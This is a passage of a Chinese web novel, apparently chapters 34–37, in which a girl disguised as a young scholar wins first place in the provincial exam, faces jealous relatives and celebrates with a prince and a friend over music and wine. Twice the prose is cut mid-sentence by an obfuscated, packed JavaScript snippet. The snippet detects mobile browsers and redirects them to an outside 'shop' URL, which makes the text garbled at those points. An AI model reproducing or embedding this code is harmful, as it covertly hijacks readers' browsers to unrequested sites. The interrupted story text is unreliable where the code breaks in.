“在下羞愧,若非钱囊羞涩,当初也不至境地窘困……”似是想到眼下并非说这种话的时候,顾逍赶紧转移话题道,“瞧我,只顾着说这些陈芝麻的事儿了,还没有恭喜叶公子夺下榜首,我方才在榜下看了你的文章,虽只略略一扫,也能窥见文章精妙,实叫人佩服。” “顾公子夸奖了。” 两人之后又聊了些有关于学问的话题,顾逍便识趣地告辞离开,离开之前,他礼貌地冲林翊和沈昭也作了一揖。 林翊看了眼顾逍离开的背影,问:“他也是被那姓高的算计的人之一?” 叶青言点头:“顾公子是农门出生,祖祖辈辈都是农民,到了他这一辈才出了个读书的苗子,家中很是看中,为了供他读书,家里人将所有的银钱都砸在了他的身上。那些被高氏诓骗的人,大都是这样出身的学子,他们本以为自己终于可以不拖累家中,甚至还能贴补家用,不想那竟是个圈套。” “所以你才会出手帮助他们?” 叶青言笑了笑:“寒门学子,想要出头不易,况且他们大部分人之后都还了我银子,顾公子是第一个。” “哦?”林翊挑了挑眉,望着顾逍远去的背影,赞道,“倒是个有骨气的,桂榜第四名,不出意外,来年的春闱杏榜应会有他一席之地。” 沈昭看着桂榜上的名字,突然哎呀一声,激动地一拍手,嘴上却是压低声音道:“那阿言你不该收他们银子的,多好的拉拢机会。” 叶青言对此并不赞同,摇了摇头,道:“会想着还钱的,都是些自尊心强的农门子弟,他们不喜受施于人,我若强加赠予,反倒不妥。” 沈昭仔细一沉吟,便也明白了叶青言的意思。他有些疑惑,问道:“阿言你似乎对这些穷苦出身的秀才很感兴趣?” 叶青言也不否认:“我确实很钦佩他们,穷苦出身的学子,没有好的学堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061423|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有好的夫子,也没有足够的典籍借鉴,他们与我们不同,最易泯然于众。可在那样贫瘠的境地之下,他们仍能坚守本心,脱颖而出,可见他们才学之精,攻读之勤,这点远非我所能及。” “我不信。”沈昭听罢满脸的不信,“这世上怎么可能会有比阿言你更认真读书的人,我不信!一点也不信!” “那是你见得少了。”林翊说道,“古时便有头悬梁,锥刺股的典故,寒门学子无良师教化,自然要付出更多的努力才能有所成就。” 叶青言听了这话,面上忽地露出一笑,她侧头看着林翊,说道:“与您聊天,真是让人觉着舒心。” 林翊一怔,继而笑了起来。 便是沈昭也忍不住笑出声来,引得不远处零星的几个学子侧目看来。 时间渐移,贡院门前,报喜官们已整装待发,随时准备前往各举人老爷落脚的住处报喜。 远山见状,上前道:“少爷,马车已经准备好了。” 叶青言看向林翊:“那我先回府一趟。” 林翊点头,想了想,道:“半个时辰后我派马车过去接你。” 阿言今日考中解元,国公府情况复杂,只怕她到时没那么容易脱身,可若自己前往邀请,便不同了。 叶青言闻言心下一暖:“好。”殿下总是这般为她着想。 这厢叶青言坐上马车回府。 国公府里,早有小厮提前赶回报喜,并从李氏处得了十分丰厚的一笔赏钱。 叶家众人难得齐聚,却是神情各异。 李氏自是喜极,她神采奕奕地坐着,视线一直关注着门外,连一丝眼神也没有分给坐在上首的叶老太太,儿子得了解元,这对她和欢姐儿意义非凡,等到来年春闱,言儿若能考中一甲,那她和欢姐儿手中的筹码就更多了。 叶老太太则是板着一张脸,脸色微微有些发青,却依旧倨傲地昂着头,不甘、嫉妒、羡慕等各种情绪在她的胸口堆叠交织,压得她几乎喘不上气来。 叶老太太这一生都在跟老侯爷前头的那个夫人争,年轻时争院子,争在老侯爷心中的位置,等年纪大了,又争谁的儿子更出息,谁的孙子更出息…… 她这一辈子都在和那个从未见过面的女人争,却没有一处能胜对方。 难道自己真就半点也不如她,连自己的血脉也不如她的? 这么想着,叶老太太的脸色越发阴沉起来,抓着椅子扶手的指尖关节泛白。 坐在下首左侧的二老爷叶勉则是一副事不关己的模样,叶勉醉心书画,一颗心只沉迷在书画里,对家中的其他事情毫不关心,就连他当初牵涉进前御史大夫的贿赂案都是因为一幅画的缘故。 倒是三老爷叶钰面有喜色,眼底闪着精光,试图让侄子拉扯自己一把的意图非常明显。当年叶青言被选为二皇子伴读时,他就打过这个主意,只是那时无论是叶青言还是二皇子都还年幼,他的这个图谋被李氏不着痕迹地驳回,当然他自己也没有坚持,现下二皇子已然成长,侄子又中了解元,正是拉扯他一把的时候。 但他的这个意图显然不可能达成,三夫人朱氏就在一旁看着,她是不会允许丈夫坏了自己儿子的前途的。 二夫人张氏也十分欣慰,只要国公府能屹立不倒,那她的淮哥儿就不愁没有一个好前程。 除了尚且年少,心思不深的几个小辈,厅堂的所有人里,仅单纯为叶青言感到高兴的只有谭嬷嬷这个下人,她高兴得几乎说不出话,一会吩咐人准备茶水,一会又吩咐人准备喜钱,瞧着红光满面。 35. 各怀心思 从贡院归来的叶青言所看到的就是这样各怀心思的一幕,她缓步走到大厅中央,规规矩矩地向众人见了礼。 “免了吧,都已经是举人老爷了,老婆子我可受不起。”一道沙哑严厉的声音响起,带着一丝不易察觉的不耐。 叶青言抬头看向叶老太太。 叶老太太紧绷着一张脸,眼中的嫉恨十分明显。 叶青言隐约能明白叶老太太的心理,老侯爷的原配,叶青言的亲祖母出身名门,是真正的大家闺秀,她同老侯爷青梅竹马,两人是少年夫妻,可惜祖母中年病逝,老侯爷对她的感情很深,即便后来娶了继室,也依旧挂念着前头那个,这让叶老太太如何能忍? 所以当老侯爷去后,她便苛待起了叶振,发现自己拿叶振没有办法时,又退而求其次地磋磨起了李氏,之后又是自己。 她这一生都毁在了一个男人的身上,真真是……可怜可恶又可悲。 叶青言心下叹息,面上却是谦卑道:“祖母言重了,无论思砚将来成就如何,都是国公府的血脉,您的孙儿。” 李氏忽地轻笑一声,这一声不大,蕴含嘲讽,结结实实地落进了众人耳中,可李氏毫不在意,她拿起一旁的茶盏慢悠悠喝了一口。 叶青言暗道不好。 果然,下一秒,便听得叶老夫人高声喝道:“李氏你还有没有规矩!” “母亲这话何意?”李氏故作不解,“我儿今日中了解元,我这个做母亲的还不能笑上一笑了?” “你那分明是嘲笑!” “母亲多想了,我儿的大喜日子我为何要发出嘲笑?” “你自己心知肚明!” 叶青言心中微叹,老太太平日里架子拿的十足,可一旦开口,就全破功了,好似那巷口骂街的老太太一般全无逻辑。 李氏心下嘲弄,她放下茶盏,看着叶老太太,叹道:“母亲您非要这么想,那儿媳也没有办法。” “你!你……你简直放肆!”叶老太太气得一下坐直了身子,抬手指着李氏,声音不自觉地带着几分尖利。 李氏低垂敛目,不以为意。 气氛一时僵持。 还是二夫人张氏站了出来,笑着打圆场道:“娘,大嫂,时候不早了,想来报喜官就要来了,还是先让言哥儿下去换身新衣裳,等候报喜吧,免得到时候闹出什么笑话。今儿是咱们国公府大喜的日子,外头不知有多少双眼睛盯着,可莫要出了差错才好。” “二嫂说得不错。”三夫人朱氏见状也站了出来,可不能让母亲再说下去,实在是……不端庄极了。 叶老夫人皱着眉头,她对张氏这一番完全为叶青言考虑的话语感到不满,可张氏的娘家是大庆赫赫有名的商贾之家,她平时的许多用度都是这个二媳妇儿补贴的,所以她虽然不满,却也不愿因此得罪了她,登时冷哼了声,却没有继续说下去。 叶青言见状,向众人告了礼,便先退下去换衣裳了。 等叶青言换好衣裳出来,报喜的队伍已经来到国公府门前,队伍后面还跟着数不清的京都民众。 谭嬷嬷见状,忙带着一众仆人上前抛洒铜板子,叮叮当当的铜板落地声与贺喜声掺在一起,听着十分热闹。 打头的报喜官笑着下马,他手持红色喜报大步走至叶青言身前,高声宣读喜报。 叶青言恭敬听读,末了接过喜报,又邀请众人进府喝茶。 …… 一直等到报喜官离开,叶青淮、叶青晨两兄弟才终于找到了向叶青言道贺的时机。 “恭喜大堂兄。”叶青淮拱手作揖,出口的语气很是钦佩,“你真厉害。” 叶青晨没有说话,但他看着叶青言的眼神亮晶晶的,仿似在说同样的话。 乡试历来都是录取比例最低的科举环节,所以竞争尤为激烈,道一句“千军万马争过独木桥”也不为过,叶青言此番能在乡试博得头筹,极是不易,这点国公府里的其他人或许不知,但他们这些将来也要科举入仕的学生却是再清楚不过。 叶青言微笑,想了想,说道:“待过几日我空闲下来,便将这一阵的读书笔记整理出来,让远山给你们送去。” 兄弟俩闻言,喜出望外,他们对视了一眼,齐声向叶青言道谢:“多谢大堂兄!” “恭喜兄长夺魁。”叶青欢不知何时也走了过来,她头上戴着望舒今日刚送过去的头面,看着娇俏又可爱,望向叶青言的一双眼里充满了崇拜。 叶青言笑看着叶青欢,温和关心了一下她的身体。 之后又问了几人中秋节时府里的一些事情,气氛尚算融洽。 叶钰一直琢磨着如何开口让大侄子提拔自己,眼见对方同自己儿子说得愉快,也有意上前套近乎,但他到底是长辈,需端着些架子,遂笑道:“阿言啊,你如今出息了,可莫忘了多多提拔自家人,在坐的都是与你同宗同源的亲戚,是最亲的亲人。” 叶青言闻言,朝叶钰看了过去。 对于这个三叔,叶青言是极瞧不上的。叶钰此人不仅志大才疏,还冷血自私、唯利是图,据谭嬷嬷所言,当年父亲战死的消息传回,第一个闹起来的人就是他。 叶青言轻轻扫了叶钰一眼,道:“侄儿如今不过白身,哪里提携得了三叔您。” 叶钰脸上的笑容僵住,而后闪过一抹尴尬,被小辈猜中心思,并一语道出,他当然会觉得不自在,却还是矢口否认:“你在胡说什么?我指的是你们几个小辈之间需得相互帮助,多多扶持。” 叶青言故作恍然:“原是如此,那是侄儿会错意了,烦请三叔勿怪。”说罢,叶青言朝叶钰拱了拱手,以示抱歉。 叶青言此举是想给叶钰留些颜面,对方毕竟是长辈,大好的日子她也不想闹得太过难看,不料叶钰却是个没有脑子的,竟顺势摆起了长辈的谱。 他道:“你如今也大了,在家里便罢,但在外人面前可莫再如此鲁莽,大哥已经不在,我作为长辈,少不得要替大哥好好教导教导你。” 叶钰这话说的动听,直将自己摆在一个关心小辈的长辈位置上,却不知自己这话直接惹怒了李氏。 龙有逆鳞,而叶振就是李氏的逆鳞,叶钰千不该万不该,在此时提及叶振。 “便是你三叔怪你也是应该的。”李氏突然开口斥责叶青言。 众人闻言,不觉都朝李氏看了过去。 李氏肃沉着一张脸,一会儿,她转首望向叶钰,柔声言道:“阿言这个孩子啊,就跟她父亲一样,贯来直白,有什么便说什么,三弟可莫要跟她一般见识才好。” 李氏此言看似在替叶青言赔罪,实则是将叶钰架到了炉火上烤。 什么会错意了?她儿子不过是直白坦率,有什么说什么。 话已至此,叶钰哪里还听不出李氏话语里的嘲讽,被人这样当众奚落,即便脸皮厚如叶钰,也不由得涨红了脸:“都是自家人,大嫂言重了。” 三夫人朱氏也难堪地低下了头,暗自捏紧自己的拳心。 一直坐在上首沉默不语的叶老夫人见自己儿子被逼到如此境地,望向李氏的眼中闪过一丝怒意,而后按捺下来,沉声道:“够了!” 此言一出,厅中气氛顿时一沉,叶钰却是松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065266|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气。 叶老太太虽然在为人处世方面上不得台面了些,可她浸润后宅多年,倒也不是个蠢的,况且李氏说得那样直白,她哪里能听不出对方是在嘲讽她的儿子? 叶老太太盯着李氏,冷声道:“他们叔侄两讲话,有你个内宅妇人什么事?李氏,你没事不如多管管你的好女儿,眼看就要及笄了,却连亲事都没个着落。” 叶老太太这话不过随口一说,李氏听了,却是警铃大作,她想也没想就大声反驳回去:“欢姐儿的亲事自有我这个母亲做主,无需老夫人你忧心!” 叶老太太看着突然一脸戒备,连身板都挺直不少的李氏,莫名其妙,怒喝道:“我一个做祖母的过问一下孙女儿的亲事怎么了?李氏你还有没有规矩!” “你算什么祖母?”李氏反问。 “你……你……”叶老太太被气得几乎失语。 “娘,息怒,您息怒,大嫂是关心则乱,不是有意要惹您生气的,您息怒。”张氏忙上前去打圆场,她一边给叶老太太顺气,一边诧异地看了李氏一眼。 无论是刚刚对付三弟,还是更早前与母亲周旋,大嫂都是一副游刃有余的模样,怎么突然就破防了?莫不是因为母亲提及了欢姐儿?可不应该啊,平常母亲可没少拿言哥儿说事,也没见大嫂这般激动…… 张氏越想越觉狐疑,目光不由飘向了叶青言、叶青欢两兄妹。 叶青欢早在母亲与祖母对上时就害怕地缩到了叶青言身后。 叶青言则挡在叶青欢身前,微侧着头,轻声细语地安慰她别怕。 张氏看了看叶青言,又看了看李氏,总觉得有哪里不对。 就在张氏疑惑愈深之际,一个小厮快步跑了过来,见屋里情况不对,不由顿住了脚步,战战兢兢道:“请……请各位主子安。” “什么事?”叶老太太厉声喝道,显然是将火气撒到了小厮身上。 小厮咽了口唾沫,结结巴巴道:“外……外面来了辆沈府……的马车,说是二殿下请大少爷到天香坊一叙。” 叶老太太脸上的怒容戛然而止。 听到沈府两字,叶青欢眼神一亮,却又在听到后半句话时重新黯淡了下去。 叶青言安抚地拍了拍叶青欢的手臂,而后往前迈了一步,她先对小厮道:“我知道了,你先出去知会车夫一声,就说我马上过去。” 小厮闻言立马告退。 “既是殿下邀请,孙儿便先告退了。”叶青言抬首对叶老太太道。 叶老太太闭了闭眼,摆手示意人离开。 叶青言顺势向众人行礼告退,离开前,他走到叶青淮、叶青晨面前。 “一木难成材,万木争辉,方能笔直地朝天生长。”叶青言说罢,伸出双手,落在两位堂弟的肩上,微微用力,而后抬步离开。 众人闻言,无不惊诧地看着叶青言离开的背影。 便是一直事不关己的叶勉也抬起了头,大约是没想到叶青言竟会说出这样的话来。 已是深秋,京城最后的大雁排成一行,从辽远的长空划过,向着温暖的南国飞去。院子里,夏季繁茂的枝叶已尽数凋零,便是池塘里的彩鱼看着都比往日要清冷几分。 叶青言缓步穿过院子,拐过长长的走廊,不多时便再次来到国公府朱红色的大门前。 林翊派来的马车就停在国公府门外。 叶青言微眯着眼,看着头顶灿金的太阳,感受着暖阳的照射,觉得非常宁静愉悦,脸上不觉浮起笑意。 心若向阳,便无谓悲伤。 她现在大概就是这样的一种状态。 36. 阳春白雪 深秋的正午,天气依然炎热,位于天香湖畔的天香坊,借地利之便引来徐徐湖风,清凉怡人,尤其是位于天香楼顶的天香居,乃京城炎热之时最舒爽惬意的去处之一。 这样的地方,在这样的天气里,自然人满为患。 而能有钱在这种地方吃饭的,都不会是普通人,他们大多来自公侯世家,或皇商富户,就是最不起眼的,也是那些名声在外的青年俊杰。 所以也只有沈昭这样身份地位的常客,才能不用提前预约就登上天香顶楼的天香居。 叶青言缓步走进天香坊,就见一座高约三尺的台子,台上有一长相柔美清秀的女子正在弹琵琶。 琵琶声如山涧溪流,轻柔而又悠扬,似比那吹拂而来的湖风还要更加沁人心脾。 沈昭的贴身长随永安就候在大堂,见叶青言到来,忙上前请安,领着对方去往楼上包房。 “歌姬弹唱乃天香坊的一大特色,我们既选了在这儿用餐,为什么不能叫歌舞姬来助兴?” 叶青言才一踏进包间,就听到了沈昭不满的抱怨。 京都城里有三大声名在外的酒楼。其一便是位于城东的云客来酒楼,云客来以豪奢著称,楼内汇聚天下名菜,极受豪绅富户们的喜爱;位于城西的满汉楼则更擅长北地菜色,配以好酒,相得益彰,是擅饮之人的最佳去处;还有一家,就是他们眼下所在的天香坊,天香坊主打淮扬菜,楼里的装潢也很雅致,内里还有一个特色,就是坊里养了好些擅长弹唱的歌姬,专门用以服侍雅间内的客人。 沈昭的话语刚落,就听见林翊淡淡的反问传来。 “要为阿言庆贺的是你我二人,为何还要让其他人来助兴?难道你没信心让阿言高兴?” 沈昭:“……”他是这个意思吗?这事儿是这样理解的吗! 正巧这时,叶青言绕过屏风来到二人眼前。 “阿言!”看到叶青言,沈昭仿佛看到了救星,他立马起身招呼对方坐到自己旁边。 却被林翊半路拦截。 林翊不由分说,一把将叶青言拉到了自己身边坐下,还非常体贴地给人倒了杯茶:“大中午的,外面天热,你先喝杯凉茶消消暑。” “多谢殿下。”叶青言笑着接过喝了,“我刚进来就听你们在说什么歌舞姬助兴的事?” 沈昭连连点头:“歌姬弹唱是这天香坊的一大特色,咱们既然选在这儿用餐,阿言你就说该不该请来弹一出吧,今天你是主角,你说了算。” 叶青言挑了挑眉,左右看看两人,笑道:“我觉得你们两人说的都很有道理,既然来了这儿自然要看一看这儿的特色,可说好了是你们俩为我庆贺,借助别人也确实不该。” 叶青言微皱着眉,有些为难建议道:“不如让掌柜的上些乐器来,你们亲自给我弹唱?” 沈昭听了目瞪口呆,过了半晌,他朝叶青言竖起一个大拇指:“还得是阿言你敢想。” 沈府乃是将门,沈小侯爷对乐器一窍不通,这在京城不是秘密,作为沈昭的好友,叶青言自然知晓这点,所以她提出这样的要求,想让哪位表演,不言而喻。 林翊拿起茶杯,慢悠悠喝了口茶,道:“你若想听,也不是不可。” 沈昭再次惊住,随即不满地大声嚷嚷:“表哥你也太惯着阿言了!你都没有对我这么好过,到底谁才是你表弟啊!” 林翊闲闲看了过去:“你若也能考个解元回来,我也可以为你弹奏。” “……”沈昭:就知道欺负我! 吩咐很快传了下去。 趁着酒楼准备乐器的空档,沈昭将包间右侧的一扇朱漆雕花窗子推开,这扇窗子正对着大厅延伸而上的高台,窗子一经推开,悠扬婉转的琵琶曲声便立即潜了进来。 沈昭半依在窗台上,目含欣赏地看着正在高台上弹琵琶的女子。半晌,他笑着转头对叶青言道:“阿言还不认识台上弹琵琶的姑娘吧,这位啊,就是最近声名鹊起的名伶苏呦呦,她是最近几个月突然冒出来的,你那会儿正好闭关苦读,就错过了。” 叶青言闻言,顺势也走到了窗边,往下看去。 台上的女子身姿婉约,素手轻抚琵琶,她的表情专注而从容,仿佛与琵琶合为一体,传达出无尽的柔情与优雅。 “这苏姑娘现在的行情可是了不得,平常想要见她,非得奉上百金不可,想不到她居然会到这里来弹琵琶。” “琵琶声如泉水叮咚,韵律优雅,可见其技艺精湛,这位姑娘应是好乐之人。”叶青言在音乐方面的造诣不高,但也还是能听出好坏。 沈昭的重点显然不在这个上面,他努嘴示意了台下坐着的众人,说道:“你看下面坐着的那些,有好多都是她的裙下之臣。”说罢,沈昭又将视线重新转回到苏呦呦身上,很是不解,“倒是稀奇了,我看她长得也不是很好看啊,怎么就这么多人喜欢呢?” 叶青言闻言,微不可察地皱了皱眉,虽知淮之此言并无恶意,可她本能的不喜这种对女子评头论足的态度。 林翊一直注意着窗边的动静,见叶青言面色有变,心下一沉,抓过旁边小二送上的古琴说道:“琴送来了,你们不是要听我弹?” 这一声,打断了叶青言心中所思,她笑着望了过来:“殿下亲自弹奏,自然是要好好听的。”说罢,也不管沈昭,十分捧场地回到了座位。 沈昭见状,也恋恋不舍地关上了窗户,嘴上还道:“别的不说,这呦呦姑娘的琵琶是真弹得好,香山居士是怎么形容来着,大弦切切如急雨,小弦嘈嘈如私语。嘈嘈切切错杂弹,大珠小珠落玉盘。间关莺语花底滑,幽咽泉流冰下难。冰泉冷涩弦凝绝,凝绝不通声暂歇……真是有意境啊,不愧是诗魔!不愧是千古名诗《琵琶行》!” “是大弦嘈嘈如急雨,小弦切切如私语。”叶青言忍了又忍,还是纠正道。 沈昭:“我刚背错了?” 叶青言没有说话,只给了他一个眼神。 沈昭秒懂,他笑嘻嘻地拿起酒壶给自己倒了杯酒,不甚在意道:“得,是我不学无术了,不过我们这些有爵位的公子哥,都是靠着祖上荫蔽过日子,也不用去考秀才,自然就不用掉书袋子。”说着,他又摇了摇头,“我跟你个举人老爷说这些干嘛,真是。” 叶青言并不赞同:“多读点书,总是好的。” 说完便不再理他,转头,专注地看起了林翊调琴。 林翊仍坐在叶青言旁边的位置上,将长长的古琴放在腿上,随意调了下琴弦,信手一拨,铮铮清响仿佛清晨花叶上滴落的露水,音色通透。 是把好琴,林翊心下满意。 “想听什么?”调好了琴弦,林翊抬眸问叶青言道,他说话的声音低沉而温润,也似那琴声一般,轻缓细流地滑入叶青言的耳朵里。 让叶青言微感不适的心情彻底缓和下来,她正欲开口,就听沈昭说道:“都说高山流水遇知音,咱们可不就是知音好友,表哥你不如就来一首《高山流水》吧!” 林翊闻言一个眼刀扫了过去:“我问你了吗?” 沈昭觉得背后一冷,缩了缩脖子,嘟嘟囔囔:“你是没有问,那我还不能提点意见了?” “等你把《琵琶行》背对了再来提吧。”说罢,林翊又看向了叶青言,显然是在等她的回答。 叶青言想了想,问:“我能点几首?” 林翊:“你想听几首?” 沈昭大受震撼,大感不服:“还几首?那我呢?为什么我连一首都不能点!” 林翊:“我刚刚那应该只是一个问题,而不是回答。” “有什么区别?”沈昭哼声,酸味十足道,“你哪次不顺着阿言!” 林翊一哽:“阿言提的都是合理要求。” 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古琴依然摆在林翊的腿上,叶青言弹奏的时候,难免要靠林翊近些,尤其等弹到曲子的后半段,叶青言越弹越投入,人也越来越往琴边凑去,很快她和林翊之间就只余下一个拳头大小的距离。 林翊正听得入神,那曾一度充斥在他梦中的丹桂清香,再一次,飘到他的鼻端,他顿时僵住。 林翊僵硬地坐着,一动不敢动,他就这样,双目一眨不眨地看着在自己面前弹琴歌唱的叶青言。 细观之下,林翊发现阿言的眸色并非全黑,而是微有些淡的棕褐色,此时的她眼波温柔,就像他曾在三月里去看的湖水,细雨朦胧,温柔细致。 林翊定定地望着,努力抑制住自己想要抬手轻抚她脸颊的冲动。 一曲终了,屋内安静了良久,好半晌,才想起林翊的问话。 “这是何曲?”他出口的声音带着一丝连他自己也没有察觉到的喑哑。 叶青言抬头,就对上了林翊的目光,看着那双清隽的眼眸里,满满都是自己的倒影,叶青言微怔了瞬,心下莫名闪过一抹慌乱,但她很快调整好心态,人也向后退回,说道:“此曲名唤《春雪》,是我妹妹闲来无事作的一首曲子。” 看着后退而去的叶青言,林翊有些失落,但他没有表现出来,也没有再追问曲子的事情,而是又问:“你刚才唱的,是何处的方言?” “是我母亲老家的家乡话。”叶青言说,顿了顿,问,“您听着可还行。” “好听极了。”林翊说。 叶青言笑了起来,她侧头看着林翊:“如此,那我便能心无旁骛的指挥殿下您表演了,嗯……我刚弹了《春雪》,那殿下您不如就先来一首阳春白雪吧。” 林翊:“先来?” 叶青言点头:“我都已经先表示了,您不会还打算只谈一曲吧?” “原来是在这等着我啊,成吧,你想听几首都行,你只管点,我只管弹。” 沈昭有些恼火的声音突然响起:“先不说几首不几首,你们能不能照顾一下我的心情?” 林翊仿佛这时才想起旁边还有一个沈昭,侧头看了过去,问:“你的什么心情?” 沈昭很生气,非常生气,明明他才是质疑该弹几首的那个人,他们表态也应该是向他表态,可这两人就这样赤裸裸地将他给无视了,刚刚还靠的那么近,简直没有将他放在眼里,是可忍孰不可忍! “我在这!我还在这!我也在这!我这么大一个大活人,你们能不能不要这么若无旁人?不知道的还以为你们两是夫妻!” 林翊闻言,蓦地脸色一红。 还想继续骂人的沈昭:“……?”二表哥你突然脸红是什么意思?我就随便说句话,你就被气到脸红了?至于吗?能不能不要这么吓人啊喂! 37. 歌舞表演 琴声、清酒、湖风,以及三个朝气蓬勃的少年郎。 这一顿午宴,一直从正午持续到傍晚才将将结束。 三人都喝了不少,虽不至于醉倒,但都有些飘飘然了。 席间,林翊的目光一直落在身旁近在咫尺的叶青言身上。 音乐声中,阳光之下,阿言的眉眼皆是满足的笑意,这让林翊眼中的笑容也跟着粲然了起来,似乎他所有的情绪皆受她的牵引,因她的高兴而喜悦。 天色将暮,夕阳微暖的光线照耀着整座天香楼。 天香楼顶的天香居外,跟随林翊一同出宫的大内侍卫再一次上前敲门提醒。 二殿下今日已经出来得够久,是时候回宫去了。 沈昭不满地看着推门而入的侍卫,却没说什么,他已经阻止了侍卫的第一次提醒,这第二次是无论如何也不能再阻止了。 二表哥还住在皇宫,自然无法同他和阿言一样出入随意。 “时候不早,我便先回宫了。”林翊说罢,站了起来。 叶青言和沈昭见状欲送,却被林翊摆手制止:“你们也早些回府,莫要待的太晚。” 话是对两个人说的,但林翊的目光一直落在叶青言的脸上。 因为喝了酒的缘故,叶青言的脸有些红,嘴唇也有些红,眸若灿星,唇似红梅,这让她看上去极为美丽。 林翊的心“噗通噗通”地乱跳着,一下快过一下,他突然就不想走了,起码不能自己一个人这么走了,得让阿言跟他一起走。 却听叶青言道:“我们知道的,殿下您路上小心。” 林翊张了张嘴,终是没有说出让叶青言跟他一起走的话,只道:“嗯,你再坐会儿,等酒醒了些再出去。” 叶青言笑着点了点头。 沈昭也在一边笑着点头,却讷闷地发现另外两人并没有理会自己。 林翊艰难地将目光从叶青言的脸上挪开,转身向着门口走去。到了门边,又停下脚步,回身对叶青言道:“阿言,你早晨回府那会儿,我仔细看过了你的卷子,你写的很好,言之有物,不许浮华,解元之名当之无愧,年仅十五的乡试解元,是大庆朝自贺渊之后的第二人,真的很了不起。” 房间里一片安静,叶青言突然站了起来,她很郑重地对林翊作了一揖,认真说道:“也要谢谢殿下您,若非您平日里常与我阔谈时策,又教我算学兵策,我今日也未必能有此成绩。” 关于时策与兵策,皇家之人对此的了解,总是更为深入一些。 阿言这是将自己所取得的成绩,归功了一部分到他身上。 意识到这点,林翊俊逸的脸上,笑容顿时一粲,笑声清朗,惹得另外两人诧异地望着他。 林翊摆了摆手,而后转身离开。 送走了林翊,不多时,叶青言再次站起,说道:“时间不早,我也该回去了。” 沈昭对林翊的离开极不满意,他一面把玩着手里的酒盏,一面不停地叨咕着什么,见叶青言也准备离开,更加不满意了,说道:“就这样结束了?” 叶青言有些不解,问道:“不然还要怎样?” “拜托!你今天可是得了乡试解元,是解元,头榜头名,咱们原来不是说好的吗?等你休息好了就好好庆祝,要大醉一场的!怎么能这么随随便便就结束。” 叶青言有些为难:“可是殿下已经回宫了,而且我们已经喝了不少,不能再喝了,再喝就伤身了。” 沈昭瞪着叶青言,没好气说道:“伤不伤身那是以后的事,但我现在很伤心,你刚刚不让我弹琴就算了,现在居然还不愿意陪我继续喝酒?你眼里还有没有我这个兄弟!”沈昭这话说得很是胡搅蛮缠,他应该是醉了。 叶青言见状默默翻了个白眼。 她能让他弹吗?明明是同一把琴,殿下弹出的乐声犹如天籁,自己弹的虽算不上好,但也可以入耳。而淮之弹的……那声音怎么听怎么刺耳,已经不属于音乐的范畴。 叶青言想了想,道:“酒是真不能再喝了,你不是喜欢听琵琶吗?我陪你再听一会儿。”说着就要去开那扇窗户,却被沈昭拦住。 “琵琶就算了吧,我其实也没那么喜欢听,音律这种东西我一向欣赏不来。” 叶青言无奈地看着他,道:“就非得继续喝酒?” “倒也不是。”沈昭摇了摇头,他捡了面前碟子里的炒花生丢进嘴里,直咬得嘎嘣响:“其实比起听琵琶,我对呦呦姑娘的另一个魅力更感兴趣……” 似是想到了什么,沈昭眼神一亮,他突地凑上前,盯着叶青言,兴致勃勃道:“阿言你不如跟我一起去甜水巷转转吧?咱们今天的庆贺正好缺了歌舞表演,去那儿我就给你补上,没有歌舞表演的庆贺根本不能算庆贺!到时你要是看上哪个姑娘……钱我可以帮你付!” 沈昭说着,还笑着冲叶青言挤了挤眼。 叶青言没料对方竟会突然邀她去逛青楼,嘴角微抽,果断拒绝:“我是清流,去那种地方不合适。” “有什么好不合适的,你都这个年纪了,还是个连女人的手都没牵过的雏儿,说出去都丢人,走走走,你今天必须得陪我一起去!” 说罢也不给叶青言反抗的机会,拉着对方就要起身,但他明显轻忽了自己醉酒的程度。 他这一拉,不仅没有将人拉起,反而把自己给带摔倒了。 叶青言好笑地看着四仰八叉躺在地上的人:“你喝多了。” 沈昭确实喝得有些多,但他理智尚在,也有主意的很,扬手一挥,大气道:“无妨,甜水巷里的姑娘们最喜欢小爷我这种穿着富贵的醉鬼。” 叶青言好奇:“因为好骗?” “然也。” “那你还送上门去让人骗?” “因为我高兴,我们阿言得了乡试头名,我做一做这散财童子又何妨!” “那你不如直接将银子捐给慈幼坊,又何必要经过甜水巷。” 大庆朝不禁花楼楚馆,但通过声色所得,需得上交三成到朝廷所设的慈幼坊,用以养育那些无父无母的孤儿们。 这是大庆朝的第一任国母,长孙皇后所颁布的懿旨。 据长孙皇后所言,既然青楼楚馆无法彻底禁止,那就将其利益最大化。 “钱都给了,还不能让我享受享受?”沈昭不满地哼了一声。 叶青言注视着沈昭,突然很认真地问了他一个问题。 “你享受的时候可有想过你未来的妻子?” 沈昭一怔,下意识反问:“我想她干什么?” “你这样花天酒地,不会觉得对不起她吗?” “我为什么要觉得对不起一个到现在都还不知道在哪儿的人?”沈昭惊了,歪歪斜斜地坐起,他盯着叶青言的眼睛,确认她是很认真地在问这个问题,不由更惊了,“阿言,你这小脑袋瓜里都装的什么啊?莫不是读书读傻了?” 叶青言也明白自己的这个问题有多不符合当下以夫为天的男权思想,尤其是从一个“男子”的嘴里问出,可她就是问了。 因为她也有些醉了,当一个人喝得多了,话难免也会跟着多起来。 但有些话,并不适合与他人说道,即使那个人是淮之。 叶青言闭了闭眼,勉力将心中的杂念压下,故作轻松一笑:“我就是有些好奇。” 为什么好奇?何来的好奇?怎么会突然好奇这个? 